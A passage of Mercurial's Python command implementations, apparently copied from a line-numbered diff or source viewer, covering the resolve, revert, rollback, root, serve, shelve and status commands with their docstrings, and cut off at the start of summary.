6179 6175 try:
6180 6176 # preresolve file
6181 6177 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
6182 6178 with ui.configoverride(overrides, b'resolve'):
6183 6179 complete, r = ms.preresolve(f, wctx)
6184 6180 if not complete:
6185 6181 tocomplete.append(f)
6186 6182 elif r:
6187 6183 ret = 1
6188 6184 finally:
6189 6185 ms.commit()
6190 6186
6191 6187 # replace filemerge's .orig file with our resolve file, but only
6192 6188 # for merges that are complete
6193 6189 if complete:
6194 6190 try:
6195 6191 util.rename(
6196 6192 a + b".resolve", scmutil.backuppath(ui, repo, f)
6197 6193 )
6198 6194 except OSError as inst:
6199 6195 if inst.errno != errno.ENOENT:
6200 6196 raise
6201 6197
6202 6198 if hasconflictmarkers:
6203 6199 ui.warn(
6204 6200 _(
6205 6201 b'warning: the following files still have conflict '
6206 6202 b'markers:\n'
6207 6203 )
6208 6204 + b''.join(
6209 6205 b' ' + uipathfn(f) + b'\n' for f in hasconflictmarkers
6210 6206 )
6211 6207 )
6212 6208 if markcheck == b'abort' and not all and not pats:
6213 6209 raise error.StateError(
6214 6210 _(b'conflict markers detected'),
6215 6211 hint=_(b'use --all to mark anyway'),
6216 6212 )
6217 6213
6218 6214 for f in tocomplete:
6219 6215 try:
6220 6216 # resolve file
6221 6217 overrides = {(b'ui', b'forcemerge'): opts.get(b'tool', b'')}
6222 6218 with ui.configoverride(overrides, b'resolve'):
6223 6219 r = ms.resolve(f, wctx)
6224 6220 if r:
6225 6221 ret = 1
6226 6222 finally:
6227 6223 ms.commit()
6228 6224
6229 6225 # replace filemerge's .orig file with our resolve file
6230 6226 a = repo.wjoin(f)
6231 6227 try:
6232 6228 util.rename(a + b".resolve", scmutil.backuppath(ui, repo, f))
6233 6229 except OSError as inst:
6234 6230 if inst.errno != errno.ENOENT:
6235 6231 raise
6236 6232
6237 6233 ms.commit()
6238 6234 branchmerge = repo.dirstate.p2() != nullid
6239 6235 mergestatemod.recordupdates(repo, ms.actions(), branchmerge, None)
6240 6236
6241 6237 if not didwork and pats:
6242 6238 hint = None
6243 6239 if not any([p for p in pats if p.find(b':') >= 0]):
6244 6240 pats = [b'path:%s' % p for p in pats]
6245 6241 m = scmutil.match(wctx, pats, opts)
6246 6242 for f in ms:
6247 6243 if not m(f):
6248 6244 continue
6249 6245
6250 6246 def flag(o):
6251 6247 if o == b're_merge':
6252 6248 return b'--re-merge '
6253 6249 return b'-%s ' % o[0:1]
6254 6250
6255 6251 flags = b''.join([flag(o) for o in flaglist if opts.get(o)])
6256 6252 hint = _(b"(try: hg resolve %s%s)\n") % (
6257 6253 flags,
6258 6254 b' '.join(pats),
6259 6255 )
6260 6256 break
6261 6257 ui.warn(_(b"arguments do not match paths that need resolving\n"))
6262 6258 if hint:
6263 6259 ui.warn(hint)
6264 6260
6265 6261 unresolvedf = ms.unresolvedcount()
6266 6262 if not unresolvedf:
6267 6263 ui.status(_(b'(no more unresolved files)\n'))
6268 6264 cmdutil.checkafterresolved(repo)
6269 6265
6270 6266 return ret
6271 6267
6272 6268
6273 6269 @command(
6274 6270 b'revert',
6275 6271 [
6276 6272 (b'a', b'all', None, _(b'revert all changes when no arguments given')),
6277 6273 (b'd', b'date', b'', _(b'tipmost revision matching date'), _(b'DATE')),
6278 6274 (b'r', b'rev', b'', _(b'revert to the specified revision'), _(b'REV')),
6279 6275 (b'C', b'no-backup', None, _(b'do not save backup copies of files')),
6280 6276 (b'i', b'interactive', None, _(b'interactively select the changes')),
6281 6277 ]
6282 6278 + walkopts
6283 6279 + dryrunopts,
6284 6280 _(b'[OPTION]... [-r REV] [NAME]...'),
6285 6281 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6286 6282 )
6287 6283 def revert(ui, repo, *pats, **opts):
6288 6284 """restore files to their checkout state
6289 6285
6290 6286 .. note::
6291 6287
6292 6288 To check out earlier revisions, you should use :hg:`update REV`.
6293 6289 To cancel an uncommitted merge (and lose your changes),
6294 6290 use :hg:`merge --abort`.
6295 6291
6296 6292 With no revision specified, revert the specified files or directories
6297 6293 to the contents they had in the parent of the working directory.
6298 6294 This restores the contents of files to an unmodified
6299 6295 state and unschedules adds, removes, copies, and renames. If the
6300 6296 working directory has two parents, you must explicitly specify a
6301 6297 revision.
6302 6298
6303 6299 Using the -r/--rev or -d/--date options, revert the given files or
6304 6300 directories to their states as of a specific revision. Because
6305 6301 revert does not change the working directory parents, this will
6306 6302 cause these files to appear modified. This can be helpful to "back
6307 6303 out" some or all of an earlier change. See :hg:`backout` for a
6308 6304 related method.
6309 6305
6310 6306 Modified files are saved with a .orig suffix before reverting.
6311 6307 To disable these backups, use --no-backup. It is possible to store
6312 6308 the backup files in a custom directory relative to the root of the
6313 6309 repository by setting the ``ui.origbackuppath`` configuration
6314 6310 option.
6315 6311
6316 6312 See :hg:`help dates` for a list of formats valid for -d/--date.
6317 6313
6318 6314 See :hg:`help backout` for a way to reverse the effect of an
6319 6315 earlier changeset.
6320 6316
6321 6317 Returns 0 on success.
6322 6318 """
6323 6319
6324 6320 opts = pycompat.byteskwargs(opts)
6325 6321 if opts.get(b"date"):
6326 6322 cmdutil.check_incompatible_arguments(opts, b'date', [b'rev'])
6327 6323 opts[b"rev"] = cmdutil.finddate(ui, repo, opts[b"date"])
6328 6324
6329 6325 parent, p2 = repo.dirstate.parents()
6330 6326 if not opts.get(b'rev') and p2 != nullid:
6331 6327 # revert after merge is a trap for new users (issue2915)
6332 6328 raise error.InputError(
6333 6329 _(b'uncommitted merge with no revision specified'),
6334 6330 hint=_(b"use 'hg update' or see 'hg help revert'"),
6335 6331 )
6336 6332
6337 6333 rev = opts.get(b'rev')
6338 6334 if rev:
6339 6335 repo = scmutil.unhidehashlikerevs(repo, [rev], b'nowarn')
6340 6336 ctx = scmutil.revsingle(repo, rev)
6341 6337
6342 6338 if not (
6343 6339 pats
6344 6340 or opts.get(b'include')
6345 6341 or opts.get(b'exclude')
6346 6342 or opts.get(b'all')
6347 6343 or opts.get(b'interactive')
6348 6344 ):
6349 6345 msg = _(b"no files or directories specified")
6350 6346 if p2 != nullid:
6351 6347 hint = _(
6352 6348 b"uncommitted merge, use --all to discard all changes,"
6353 6349 b" or 'hg update -C .' to abort the merge"
6354 6350 )
6355 6351 raise error.InputError(msg, hint=hint)
6356 6352 dirty = any(repo.status())
6357 6353 node = ctx.node()
6358 6354 if node != parent:
6359 6355 if dirty:
6360 6356 hint = (
6361 6357 _(
6362 6358 b"uncommitted changes, use --all to discard all"
6363 6359 b" changes, or 'hg update %d' to update"
6364 6360 )
6365 6361 % ctx.rev()
6366 6362 )
6367 6363 else:
6368 6364 hint = (
6369 6365 _(
6370 6366 b"use --all to revert all files,"
6371 6367 b" or 'hg update %d' to update"
6372 6368 )
6373 6369 % ctx.rev()
6374 6370 )
6375 6371 elif dirty:
6376 6372 hint = _(b"uncommitted changes, use --all to discard all changes")
6377 6373 else:
6378 6374 hint = _(b"use --all to revert all files")
6379 6375 raise error.InputError(msg, hint=hint)
6380 6376
6381 6377 return cmdutil.revert(ui, repo, ctx, *pats, **pycompat.strkwargs(opts))
6382 6378
6383 6379
6384 6380 @command(
6385 6381 b'rollback',
6386 6382 dryrunopts + [(b'f', b'force', False, _(b'ignore safety measures'))],
6387 6383 helpcategory=command.CATEGORY_MAINTENANCE,
6388 6384 )
6389 6385 def rollback(ui, repo, **opts):
6390 6386 """roll back the last transaction (DANGEROUS) (DEPRECATED)
6391 6387
6392 6388 Please use :hg:`commit --amend` instead of rollback to correct
6393 6389 mistakes in the last commit.
6394 6390
6395 6391 This command should be used with care. There is only one level of
6396 6392 rollback, and there is no way to undo a rollback. It will also
6397 6393 restore the dirstate at the time of the last transaction, losing
6398 6394 any dirstate changes since that time. This command does not alter
6399 6395 the working directory.
6400 6396
6401 6397 Transactions are used to encapsulate the effects of all commands
6402 6398 that create new changesets or propagate existing changesets into a
6403 6399 repository.
6404 6400
6405 6401 .. container:: verbose
6406 6402
6407 6403 For example, the following commands are transactional, and their
6408 6404 effects can be rolled back:
6409 6405
6410 6406 - commit
6411 6407 - import
6412 6408 - pull
6413 6409 - push (with this repository as the destination)
6414 6410 - unbundle
6415 6411
6416 6412 To avoid permanent data loss, rollback will refuse to rollback a
6417 6413 commit transaction if it isn't checked out. Use --force to
6418 6414 override this protection.
6419 6415
6420 6416 The rollback command can be entirely disabled by setting the
6421 6417 ``ui.rollback`` configuration setting to false. If you're here
6422 6418 because you want to use rollback and it's disabled, you can
6423 6419 re-enable the command by setting ``ui.rollback`` to true.
6424 6420
6425 6421 This command is not intended for use on public repositories. Once
6426 6422 changes are visible for pull by other users, rolling a transaction
6427 6423 back locally is ineffective (someone else may already have pulled
6428 6424 the changes). Furthermore, a race is possible with readers of the
6429 6425 repository; for example an in-progress pull from the repository
6430 6426 may fail if a rollback is performed.
6431 6427
6432 6428 Returns 0 on success, 1 if no rollback data is available.
6433 6429 """
6434 6430 if not ui.configbool(b'ui', b'rollback'):
6435 6431 raise error.Abort(
6436 6432 _(b'rollback is disabled because it is unsafe'),
6437 6433 hint=b'see `hg help -v rollback` for information',
6438 6434 )
6439 6435 return repo.rollback(dryrun=opts.get('dry_run'), force=opts.get('force'))
6440 6436
6441 6437
6442 6438 @command(
6443 6439 b'root',
6444 6440 [] + formatteropts,
6445 6441 intents={INTENT_READONLY},
6446 6442 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6447 6443 )
6448 6444 def root(ui, repo, **opts):
6449 6445 """print the root (top) of the current working directory
6450 6446
6451 6447 Print the root directory of the current repository.
6452 6448
6453 6449 .. container:: verbose
6454 6450
6455 6451 Template:
6456 6452
6457 6453 The following keywords are supported in addition to the common template
6458 6454 keywords and functions. See also :hg:`help templates`.
6459 6455
6460 6456 :hgpath: String. Path to the .hg directory.
6461 6457 :storepath: String. Path to the directory holding versioned data.
6462 6458
6463 6459 Returns 0 on success.
6464 6460 """
6465 6461 opts = pycompat.byteskwargs(opts)
6466 6462 with ui.formatter(b'root', opts) as fm:
6467 6463 fm.startitem()
6468 6464 fm.write(b'reporoot', b'%s\n', repo.root)
6469 6465 fm.data(hgpath=repo.path, storepath=repo.spath)
6470 6466
6471 6467
6472 6468 @command(
6473 6469 b'serve',
6474 6470 [
6475 6471 (
6476 6472 b'A',
6477 6473 b'accesslog',
6478 6474 b'',
6479 6475 _(b'name of access log file to write to'),
6480 6476 _(b'FILE'),
6481 6477 ),
6482 6478 (b'd', b'daemon', None, _(b'run server in background')),
6483 6479 (b'', b'daemon-postexec', [], _(b'used internally by daemon mode')),
6484 6480 (
6485 6481 b'E',
6486 6482 b'errorlog',
6487 6483 b'',
6488 6484 _(b'name of error log file to write to'),
6489 6485 _(b'FILE'),
6490 6486 ),
6491 6487 # use string type, then we can check if something was passed
6492 6488 (
6493 6489 b'p',
6494 6490 b'port',
6495 6491 b'',
6496 6492 _(b'port to listen on (default: 8000)'),
6497 6493 _(b'PORT'),
6498 6494 ),
6499 6495 (
6500 6496 b'a',
6501 6497 b'address',
6502 6498 b'',
6503 6499 _(b'address to listen on (default: all interfaces)'),
6504 6500 _(b'ADDR'),
6505 6501 ),
6506 6502 (
6507 6503 b'',
6508 6504 b'prefix',
6509 6505 b'',
6510 6506 _(b'prefix path to serve from (default: server root)'),
6511 6507 _(b'PREFIX'),
6512 6508 ),
6513 6509 (
6514 6510 b'n',
6515 6511 b'name',
6516 6512 b'',
6517 6513 _(b'name to show in web pages (default: working directory)'),
6518 6514 _(b'NAME'),
6519 6515 ),
6520 6516 (
6521 6517 b'',
6522 6518 b'web-conf',
6523 6519 b'',
6524 6520 _(b"name of the hgweb config file (see 'hg help hgweb')"),
6525 6521 _(b'FILE'),
6526 6522 ),
6527 6523 (
6528 6524 b'',
6529 6525 b'webdir-conf',
6530 6526 b'',
6531 6527 _(b'name of the hgweb config file (DEPRECATED)'),
6532 6528 _(b'FILE'),
6533 6529 ),
6534 6530 (
6535 6531 b'',
6536 6532 b'pid-file',
6537 6533 b'',
6538 6534 _(b'name of file to write process ID to'),
6539 6535 _(b'FILE'),
6540 6536 ),
6541 6537 (b'', b'stdio', None, _(b'for remote clients (ADVANCED)')),
6542 6538 (
6543 6539 b'',
6544 6540 b'cmdserver',
6545 6541 b'',
6546 6542 _(b'for remote clients (ADVANCED)'),
6547 6543 _(b'MODE'),
6548 6544 ),
6549 6545 (b't', b'templates', b'', _(b'web templates to use'), _(b'TEMPLATE')),
6550 6546 (b'', b'style', b'', _(b'template style to use'), _(b'STYLE')),
6551 6547 (b'6', b'ipv6', None, _(b'use IPv6 in addition to IPv4')),
6552 6548 (b'', b'certificate', b'', _(b'SSL certificate file'), _(b'FILE')),
6553 6549 (b'', b'print-url', None, _(b'start and print only the URL')),
6554 6550 ]
6555 6551 + subrepoopts,
6556 6552 _(b'[OPTION]...'),
6557 6553 helpcategory=command.CATEGORY_REMOTE_REPO_MANAGEMENT,
6558 6554 helpbasic=True,
6559 6555 optionalrepo=True,
6560 6556 )
6561 6557 def serve(ui, repo, **opts):
6562 6558 """start stand-alone webserver
6563 6559
6564 6560 Start a local HTTP repository browser and pull server. You can use
6565 6561 this for ad-hoc sharing and browsing of repositories. It is
6566 6562 recommended to use a real web server to serve a repository for
6567 6563 longer periods of time.
6568 6564
6569 6565 Please note that the server does not implement access control.
6570 6566 This means that, by default, anybody can read from the server and
6571 6567 nobody can write to it by default. Set the ``web.allow-push``
6572 6568 option to ``*`` to allow everybody to push to the server. You
6573 6569 should use a real web server if you need to authenticate users.
6574 6570
6575 6571 By default, the server logs accesses to stdout and errors to
6576 6572 stderr. Use the -A/--accesslog and -E/--errorlog options to log to
6577 6573 files.
6578 6574
6579 6575 To have the server choose a free port number to listen on, specify
6580 6576 a port number of 0; in this case, the server will print the port
6581 6577 number it uses.
6582 6578
6583 6579 Returns 0 on success.
6584 6580 """
6585 6581
6586 6582 cmdutil.check_incompatible_arguments(opts, 'stdio', ['cmdserver'])
6587 6583 opts = pycompat.byteskwargs(opts)
6588 6584 if opts[b"print_url"] and ui.verbose:
6589 6585 raise error.InputError(_(b"cannot use --print-url with --verbose"))
6590 6586
6591 6587 if opts[b"stdio"]:
6592 6588 if repo is None:
6593 6589 raise error.RepoError(
6594 6590 _(b"there is no Mercurial repository here (.hg not found)")
6595 6591 )
6596 6592 s = wireprotoserver.sshserver(ui, repo)
6597 6593 s.serve_forever()
6598 6594 return
6599 6595
6600 6596 service = server.createservice(ui, repo, opts)
6601 6597 return server.runservice(opts, initfn=service.init, runfn=service.run)
6602 6598
6603 6599
6604 6600 @command(
6605 6601 b'shelve',
6606 6602 [
6607 6603 (
6608 6604 b'A',
6609 6605 b'addremove',
6610 6606 None,
6611 6607 _(b'mark new/missing files as added/removed before shelving'),
6612 6608 ),
6613 6609 (b'u', b'unknown', None, _(b'store unknown files in the shelve')),
6614 6610 (b'', b'cleanup', None, _(b'delete all shelved changes')),
6615 6611 (
6616 6612 b'',
6617 6613 b'date',
6618 6614 b'',
6619 6615 _(b'shelve with the specified commit date'),
6620 6616 _(b'DATE'),
6621 6617 ),
6622 6618 (b'd', b'delete', None, _(b'delete the named shelved change(s)')),
6623 6619 (b'e', b'edit', False, _(b'invoke editor on commit messages')),
6624 6620 (
6625 6621 b'k',
6626 6622 b'keep',
6627 6623 False,
6628 6624 _(b'shelve, but keep changes in the working directory'),
6629 6625 ),
6630 6626 (b'l', b'list', None, _(b'list current shelves')),
6631 6627 (b'm', b'message', b'', _(b'use text as shelve message'), _(b'TEXT')),
6632 6628 (
6633 6629 b'n',
6634 6630 b'name',
6635 6631 b'',
6636 6632 _(b'use the given name for the shelved commit'),
6637 6633 _(b'NAME'),
6638 6634 ),
6639 6635 (
6640 6636 b'p',
6641 6637 b'patch',
6642 6638 None,
6643 6639 _(
6644 6640 b'output patches for changes (provide the names of the shelved '
6645 6641 b'changes as positional arguments)'
6646 6642 ),
6647 6643 ),
6648 6644 (b'i', b'interactive', None, _(b'interactive mode')),
6649 6645 (
6650 6646 b'',
6651 6647 b'stat',
6652 6648 None,
6653 6649 _(
6654 6650 b'output diffstat-style summary of changes (provide the names of '
6655 6651 b'the shelved changes as positional arguments)'
6656 6652 ),
6657 6653 ),
6658 6654 ]
6659 6655 + cmdutil.walkopts,
6660 6656 _(b'hg shelve [OPTION]... [FILE]...'),
6661 6657 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6662 6658 )
6663 6659 def shelve(ui, repo, *pats, **opts):
6664 6660 """save and set aside changes from the working directory
6665 6661
6666 6662 Shelving takes files that "hg status" reports as not clean, saves
6667 6663 the modifications to a bundle (a shelved change), and reverts the
6668 6664 files so that their state in the working directory becomes clean.
6669 6665
6670 6666 To restore these changes to the working directory, using "hg
6671 6667 unshelve"; this will work even if you switch to a different
6672 6668 commit.
6673 6669
6674 6670 When no files are specified, "hg shelve" saves all not-clean
6675 6671 files. If specific files or directories are named, only changes to
6676 6672 those files are shelved.
6677 6673
6678 6674 In bare shelve (when no files are specified, without interactive,
6679 6675 include and exclude option), shelving remembers information if the
6680 6676 working directory was on newly created branch, in other words working
6681 6677 directory was on different branch than its first parent. In this
6682 6678 situation unshelving restores branch information to the working directory.
6683 6679
6684 6680 Each shelved change has a name that makes it easier to find later.
6685 6681 The name of a shelved change defaults to being based on the active
6686 6682 bookmark, or if there is no active bookmark, the current named
6687 6683 branch. To specify a different name, use ``--name``.
6688 6684
6689 6685 To see a list of existing shelved changes, use the ``--list``
6690 6686 option. For each shelved change, this will print its name, age,
6691 6687 and description; use ``--patch`` or ``--stat`` for more details.
6692 6688
6693 6689 To delete specific shelved changes, use ``--delete``. To delete
6694 6690 all shelved changes, use ``--cleanup``.
6695 6691 """
6696 6692 opts = pycompat.byteskwargs(opts)
6697 6693 allowables = [
6698 6694 (b'addremove', {b'create'}), # 'create' is pseudo action
6699 6695 (b'unknown', {b'create'}),
6700 6696 (b'cleanup', {b'cleanup'}),
6701 6697 # ('date', {'create'}), # ignored for passing '--date "0 0"' in tests
6702 6698 (b'delete', {b'delete'}),
6703 6699 (b'edit', {b'create'}),
6704 6700 (b'keep', {b'create'}),
6705 6701 (b'list', {b'list'}),
6706 6702 (b'message', {b'create'}),
6707 6703 (b'name', {b'create'}),
6708 6704 (b'patch', {b'patch', b'list'}),
6709 6705 (b'stat', {b'stat', b'list'}),
6710 6706 ]
6711 6707
6712 6708 def checkopt(opt):
6713 6709 if opts.get(opt):
6714 6710 for i, allowable in allowables:
6715 6711 if opts[i] and opt not in allowable:
6716 6712 raise error.InputError(
6717 6713 _(
6718 6714 b"options '--%s' and '--%s' may not be "
6719 6715 b"used together"
6720 6716 )
6721 6717 % (opt, i)
6722 6718 )
6723 6719 return True
6724 6720
6725 6721 if checkopt(b'cleanup'):
6726 6722 if pats:
6727 6723 raise error.InputError(
6728 6724 _(b"cannot specify names when using '--cleanup'")
6729 6725 )
6730 6726 return shelvemod.cleanupcmd(ui, repo)
6731 6727 elif checkopt(b'delete'):
6732 6728 return shelvemod.deletecmd(ui, repo, pats)
6733 6729 elif checkopt(b'list'):
6734 6730 return shelvemod.listcmd(ui, repo, pats, opts)
6735 6731 elif checkopt(b'patch') or checkopt(b'stat'):
6736 6732 return shelvemod.patchcmds(ui, repo, pats, opts)
6737 6733 else:
6738 6734 return shelvemod.createcmd(ui, repo, pats, opts)
6739 6735
6740 6736
6741 6737 _NOTTERSE = b'nothing'
6742 6738
6743 6739
6744 6740 @command(
6745 6741 b'status|st',
6746 6742 [
6747 6743 (b'A', b'all', None, _(b'show status of all files')),
6748 6744 (b'm', b'modified', None, _(b'show only modified files')),
6749 6745 (b'a', b'added', None, _(b'show only added files')),
6750 6746 (b'r', b'removed', None, _(b'show only removed files')),
6751 6747 (b'd', b'deleted', None, _(b'show only missing files')),
6752 6748 (b'c', b'clean', None, _(b'show only files without changes')),
6753 6749 (b'u', b'unknown', None, _(b'show only unknown (not tracked) files')),
6754 6750 (b'i', b'ignored', None, _(b'show only ignored files')),
6755 6751 (b'n', b'no-status', None, _(b'hide status prefix')),
6756 6752 (b't', b'terse', _NOTTERSE, _(b'show the terse output (EXPERIMENTAL)')),
6757 6753 (
6758 6754 b'C',
6759 6755 b'copies',
6760 6756 None,
6761 6757 _(b'show source of copied files (DEFAULT: ui.statuscopies)'),
6762 6758 ),
6763 6759 (
6764 6760 b'0',
6765 6761 b'print0',
6766 6762 None,
6767 6763 _(b'end filenames with NUL, for use with xargs'),
6768 6764 ),
6769 6765 (b'', b'rev', [], _(b'show difference from revision'), _(b'REV')),
6770 6766 (
6771 6767 b'',
6772 6768 b'change',
6773 6769 b'',
6774 6770 _(b'list the changed files of a revision'),
6775 6771 _(b'REV'),
6776 6772 ),
6777 6773 ]
6778 6774 + walkopts
6779 6775 + subrepoopts
6780 6776 + formatteropts,
6781 6777 _(b'[OPTION]... [FILE]...'),
6782 6778 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
6783 6779 helpbasic=True,
6784 6780 inferrepo=True,
6785 6781 intents={INTENT_READONLY},
6786 6782 )
6787 6783 def status(ui, repo, *pats, **opts):
6788 6784 """show changed files in the working directory
6789 6785
6790 6786 Show status of files in the repository. If names are given, only
6791 6787 files that match are shown. Files that are clean or ignored or
6792 6788 the source of a copy/move operation, are not listed unless
6793 6789 -c/--clean, -i/--ignored, -C/--copies or -A/--all are given.
6794 6790 Unless options described with "show only ..." are given, the
6795 6791 options -mardu are used.
6796 6792
6797 6793 Option -q/--quiet hides untracked (unknown and ignored) files
6798 6794 unless explicitly requested with -u/--unknown or -i/--ignored.
6799 6795
6800 6796 .. note::
6801 6797
6802 6798 :hg:`status` may appear to disagree with diff if permissions have
6803 6799 changed or a merge has occurred. The standard diff format does
6804 6800 not report permission changes and diff only reports changes
6805 6801 relative to one merge parent.
6806 6802
6807 6803 If one revision is given, it is used as the base revision.
6808 6804 If two revisions are given, the differences between them are
6809 6805 shown. The --change option can also be used as a shortcut to list
6810 6806 the changed files of a revision from its first parent.
6811 6807
6812 6808 The codes used to show the status of files are::
6813 6809
6814 6810 M = modified
6815 6811 A = added
6816 6812 R = removed
6817 6813 C = clean
6818 6814 ! = missing (deleted by non-hg command, but still tracked)
6819 6815 ? = not tracked
6820 6816 I = ignored
6821 6817 = origin of the previous file (with --copies)
6822 6818
6823 6819 .. container:: verbose
6824 6820
6825 6821 The -t/--terse option abbreviates the output by showing only the directory
6826 6822 name if all the files in it share the same status. The option takes an
6827 6823 argument indicating the statuses to abbreviate: 'm' for 'modified', 'a'
6828 6824 for 'added', 'r' for 'removed', 'd' for 'deleted', 'u' for 'unknown', 'i'
6829 6825 for 'ignored' and 'c' for clean.
6830 6826
6831 6827 It abbreviates only those statuses which are passed. Note that clean and
6832 6828 ignored files are not displayed with '--terse ic' unless the -c/--clean
6833 6829 and -i/--ignored options are also used.
6834 6830
6835 6831 The -v/--verbose option shows information when the repository is in an
6836 6832 unfinished merge, shelve, rebase state etc. You can have this behavior
6837 6833 turned on by default by enabling the ``commands.status.verbose`` option.
6838 6834
6839 6835 You can skip displaying some of these states by setting
6840 6836 ``commands.status.skipstates`` to one or more of: 'bisect', 'graft',
6841 6837 'histedit', 'merge', 'rebase', or 'unshelve'.
6842 6838
6843 6839 Template:
6844 6840
6845 6841 The following keywords are supported in addition to the common template
6846 6842 keywords and functions. See also :hg:`help templates`.
6847 6843
6848 6844 :path: String. Repository-absolute path of the file.
6849 6845 :source: String. Repository-absolute path of the file originated from.
6850 6846 Available if ``--copies`` is specified.
6851 6847 :status: String. Character denoting file's status.
6852 6848
6853 6849 Examples:
6854 6850
6855 6851 - show changes in the working directory relative to a
6856 6852 changeset::
6857 6853
6858 6854 hg status --rev 9353
6859 6855
6860 6856 - show changes in the working directory relative to the
6861 6857 current directory (see :hg:`help patterns` for more information)::
6862 6858
6863 6859 hg status re:
6864 6860
6865 6861 - show all changes including copies in an existing changeset::
6866 6862
6867 6863 hg status --copies --change 9353
6868 6864
6869 6865 - get a NUL separated list of added files, suitable for xargs::
6870 6866
6871 6867 hg status -an0
6872 6868
6873 6869 - show more information about the repository status, abbreviating
6874 6870 added, removed, modified, deleted, and untracked paths::
6875 6871
6876 6872 hg status -v -t mardu
6877 6873
6878 6874 Returns 0 on success.
6879 6875
6880 6876 """
6881 6877
6882 6878 cmdutil.check_at_most_one_arg(opts, 'rev', 'change')
6883 6879 opts = pycompat.byteskwargs(opts)
6884 6880 revs = opts.get(b'rev')
6885 6881 change = opts.get(b'change')
6886 6882 terse = opts.get(b'terse')
6887 6883 if terse is _NOTTERSE:
6888 6884 if revs:
6889 6885 terse = b''
6890 6886 else:
6891 6887 terse = ui.config(b'commands', b'status.terse')
6892 6888
6893 6889 if revs and terse:
6894 6890 msg = _(b'cannot use --terse with --rev')
6895 6891 raise error.InputError(msg)
6896 6892 elif change:
6897 6893 repo = scmutil.unhidehashlikerevs(repo, [change], b'nowarn')
6898 6894 ctx2 = scmutil.revsingle(repo, change, None)
6899 6895 ctx1 = ctx2.p1()
6900 6896 else:
6901 6897 repo = scmutil.unhidehashlikerevs(repo, revs, b'nowarn')
6902 6898 ctx1, ctx2 = scmutil.revpair(repo, revs)
6903 6899
6904 6900 forcerelativevalue = None
6905 6901 if ui.hasconfig(b'commands', b'status.relative'):
6906 6902 forcerelativevalue = ui.configbool(b'commands', b'status.relative')
6907 6903 uipathfn = scmutil.getuipathfn(
6908 6904 repo,
6909 6905 legacyrelativevalue=bool(pats),
6910 6906 forcerelativevalue=forcerelativevalue,
6911 6907 )
6912 6908
6913 6909 if opts.get(b'print0'):
6914 6910 end = b'\0'
6915 6911 else:
6916 6912 end = b'\n'
6917 6913 states = b'modified added removed deleted unknown ignored clean'.split()
6918 6914 show = [k for k in states if opts.get(k)]
6919 6915 if opts.get(b'all'):
6920 6916 show += ui.quiet and (states[:4] + [b'clean']) or states
6921 6917
6922 6918 if not show:
6923 6919 if ui.quiet:
6924 6920 show = states[:4]
6925 6921 else:
6926 6922 show = states[:5]
6927 6923
6928 6924 m = scmutil.match(ctx2, pats, opts)
6929 6925 if terse:
6930 6926 # we need to compute clean and unknown to terse
6931 6927 stat = repo.status(
6932 6928 ctx1.node(),
6933 6929 ctx2.node(),
6934 6930 m,
6935 6931 b'ignored' in show or b'i' in terse,
6936 6932 clean=True,
6937 6933 unknown=True,
6938 6934 listsubrepos=opts.get(b'subrepos'),
6939 6935 )
6940 6936
6941 6937 stat = cmdutil.tersedir(stat, terse)
6942 6938 else:
6943 6939 stat = repo.status(
6944 6940 ctx1.node(),
6945 6941 ctx2.node(),
6946 6942 m,
6947 6943 b'ignored' in show,
6948 6944 b'clean' in show,
6949 6945 b'unknown' in show,
6950 6946 opts.get(b'subrepos'),
6951 6947 )
6952 6948
6953 6949 changestates = zip(
6954 6950 states,
6955 6951 pycompat.iterbytestr(b'MAR!?IC'),
6956 6952 [getattr(stat, s.decode('utf8')) for s in states],
6957 6953 )
6958 6954
6959 6955 copy = {}
6960 6956 if (
6961 6957 opts.get(b'all')
6962 6958 or opts.get(b'copies')
6963 6959 or ui.configbool(b'ui', b'statuscopies')
6964 6960 ) and not opts.get(b'no_status'):
6965 6961 copy = copies.pathcopies(ctx1, ctx2, m)
6966 6962
6967 6963 morestatus = None
6968 6964 if (
6969 6965 (ui.verbose or ui.configbool(b'commands', b'status.verbose'))
6970 6966 and not ui.plain()
6971 6967 and not opts.get(b'print0')
6972 6968 ):
6973 6969 morestatus = cmdutil.readmorestatus(repo)
6974 6970
6975 6971 ui.pager(b'status')
6976 6972 fm = ui.formatter(b'status', opts)
6977 6973 fmt = b'%s' + end
6978 6974 showchar = not opts.get(b'no_status')
6979 6975
6980 6976 for state, char, files in changestates:
6981 6977 if state in show:
6982 6978 label = b'status.' + state
6983 6979 for f in files:
6984 6980 fm.startitem()
6985 6981 fm.context(ctx=ctx2)
6986 6982 fm.data(itemtype=b'file', path=f)
6987 6983 fm.condwrite(showchar, b'status', b'%s ', char, label=label)
6988 6984 fm.plain(fmt % uipathfn(f), label=label)
6989 6985 if f in copy:
6990 6986 fm.data(source=copy[f])
6991 6987 fm.plain(
6992 6988 (b' %s' + end) % uipathfn(copy[f]),
6993 6989 label=b'status.copied',
6994 6990 )
6995 6991 if morestatus:
6996 6992 morestatus.formatfile(f, fm)
6997 6993
6998 6994 if morestatus:
6999 6995 morestatus.formatfooter(fm)
7000 6996 fm.end()
7001 6997
7002 6998
7003 6999 @command(
7004 7000 b'summary|sum',
7005 7001 [(b'', b'remote', None, _(b'check for push and pull'))],
7006 7002 b'[--remote]',
7007 7003 helpcategory=command.CATEGORY_WORKING_DIRECTORY,
7008 7004 helpbasic=True,
7009 7005 intents={INTENT_READONLY},
7010 7006 )
7011 7007 def summary(ui, repo, **opts):
7012 7008 """summarize working directory state
7013 7009
7014 7010 This generates a brief summary of the working directory state,
7015 7011 including parents, branch, commit status, phase and available updates.
7016 7012
7017 7013 With the --remote option, this will check the default paths for
7018 7014 incoming and outgoing changes. This can be time-consuming.
7019 7015
7020 7016 Returns 0 on success.
7021 7017 """
7022 7018
7023 7019 opts = pycompat.byteskwargs(opts)
7024 7020 ui.pager(b'summary')
7025 7021 ctx = repo[None]
7026 7022 parents = ctx.parents()
7027 7023 pnode = parents[0].node()
7028 7024 marks = []
7029 7025
7030 7026 try:
7031 7027 ms = mergestatemod.mergestate.read(repo)
7032 7028 except error.UnsupportedMergeRecords as e:
7033 7029 s = b' '.join(e.recordtypes)
7034 7030 ui.warn(
7035 7031 _(b'warning: merge state has unsupported record types: %s\n') % s
7036 7032 )
7037 7033 unresolved = []
7038 7034 else:
7039 7035 unresolved = list(ms.unresolved())
7040 7036
7041 7037 for p in parents:
7042 7038 # label with log.changeset (instead of log.parent) since this
